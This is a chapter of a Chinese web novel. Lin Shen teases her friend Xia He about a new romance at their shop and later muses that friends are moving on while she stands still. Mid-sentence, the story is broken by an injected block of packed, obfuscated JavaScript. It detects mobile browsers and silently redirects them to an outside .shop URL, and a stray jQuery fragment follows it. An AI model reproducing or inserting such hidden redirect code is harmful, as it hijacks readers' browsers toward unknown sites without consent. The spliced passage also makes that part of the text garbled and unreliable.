夏禾迟到了。下午三点半，店里最闲的时候，她才推门进来。
“你今天怎么这么晚？”林深正在擦杯子。
“睡过头了。”
“你昨天不是十一点就回去了？”
“回去不代表睡觉。”
林深抬头看她。夏禾今天明显不一样——头发刚洗过，还卷了一下，口红颜色也换了，甚至连指甲都是新的。
“哦。”林深点点头。
“哦什么？”
“有情况。”
夏禾差点被奶茶呛到：“神经病。”林深笑了。来福从桌子底下钻出来，闻了闻夏禾，又闻了闻，然后开始摇尾巴。
“连来福都闻出来了。”
“它闻出来什么？”
“恋爱的味道。”
夏禾抓起纸巾盒砸过去，林深笑着躲开。店里最近难得这么轻松。昨天生意不错，虽然只有一天，但至少让大家喘了口气。陆沉在后厨切鱼，听见外面闹腾，探出头：“你们两个是不是闲的？”
“对。”林深说，“特别闲。”
“那来帮忙。”
“不要。”
陆沉翻了个白眼，继续回去干活。
下午店里没什么客人，夏禾抱着奶茶坐在窗边刷手机。隔一分钟笑一次，隔一分钟又笑一次。林深实在看不下去了：“你中彩票了？”
“没有。”
“那你笑什么？”
“我乐意。”
“给我看看。”
“不行。”
“为什么？”
“隐私。”
林深靠在椅子上，眯起眼睛：“男的。”夏禾不说话。“刚认识。”继续不说话。“长得还行。”夏禾终于抬头：“你烦不烦？”林深瞬间笑出声，猜中了。来福不知道发生了什么，跟着一起摇尾巴，像在鼓掌。
傍晚的时候夏禾开始补妆。林深坐在旁边看，越看越不对劲：“你今天晚上有事？”
“嗯。”
“约会？”
“吃饭。”
“和谁？”
“朋友。”
“男朋友？”
“还不是。”
“那就是快是了。”
夏禾沉默两秒：“林深。”“嗯？”“你真的很讨厌。”林深笑得停不下来。
其实已经很久没有这样了。以前夏禾也谈恋爱，但那时候大家都年轻，分手和恋爱一样快——今天喜欢这个，下个月喜欢那个，像在体验生活。现在不一样，年龄慢慢长上来以后，每个人都开始认真，连夏禾这种人也是。
晚上六点，夏禾开始收拾包。陆沉从后厨出来：“去哪？”
“吃饭。”
“和谁？”
“朋友。”
“男的女的？”
“你怎么和林深一样烦。”
陆沉愣了一下，转头看向林深：“你问了？”
“问了。”
“她说了吗？”
“没有。”
“那你问什么？”
“过程比结果重要。”
陆沉沉默：“你俩都有病。”
夏禾终于走了。门关上的时候，店里忽然安静下来，安静得有点不习惯。来福趴在门口看了一会儿，确定夏禾真的走了，又慢悠悠走回来，趴到林深脚边。
七点店里来了几桌客人，八点又恢复平静。林深站在门口发呆，看着街上来来往往的人，忽然想起刚才的夏禾——新衣服，新口红，新的聊天对象，新的生活。她忽然意识到，夏禾一直在往前走。其实所有人都在往前走——大学同学结婚了，以前的朋友生孩子了，有人换工作，有人创业，有人出国
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691727|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，有人恋爱。每个人都在自己的轨道上继续向前。只有自己最近几年，好像一直在原地打转。店，陆沉，来福，日复一日，像困在一个很小的圆圈里。
她被自己的想法吓了一跳，赶紧低头整理菜单。这种念头太危险，因为一旦开始比较，人就会变得不快乐。
晚上九点多，夏禾发来一张照片——餐厅，牛排，红酒，还有一只男人的手，故意只拍到手，像在炫耀。林深直接回复：“手一般。”对面秒回：“滚。”林深笑了，继续打字：“头发呢？”“不给看。”“脸呢？”“不给看。”“身高呢？”“不给看。”“年龄呢？”“不给看。”“你是不是被骗了？”聊天框上方出现“正在输入中……”，过了几秒，夏禾发来一句：“他挺好的。”只有四个字。
林深忽然愣了一下。她认识夏禾很多年，知道她不是轻易说这种话的人。如果她这么说，那大概率是真的。
店里很安静，陆沉在后厨收拾东西，来福睡着了，手机屏幕慢慢暗下去。林深看着那句“他挺好的”，忽然有点高兴，又有点说不上来的失落，像看见一个陪自己走了很久的人开始拥有新的方向，而自己还站在原地。
十点半，卷帘门拉下来，陆沉锁门，林深抱起来福，准备回家。路过科技园的时候，大楼里还有零零散散几盏灯亮着。陆沉开着车，忽然问：“夏禾谈恋爱了？”
“应该吧。”
“挺好。”
“嗯。”
“总不能一辈子陪着我们耗。”
林深转头看向窗外，没有说话。路灯一盏接一盏向后退去，车窗映出她模糊的影子。有那么一瞬间，她忽然觉得，人生像一辆不会停的列车——有人上车，有人下车，有人陪你坐很久，有人只坐一站。可不管是谁，终究都会继续往前。而窗外的风景，也从来不会为了谁停下来。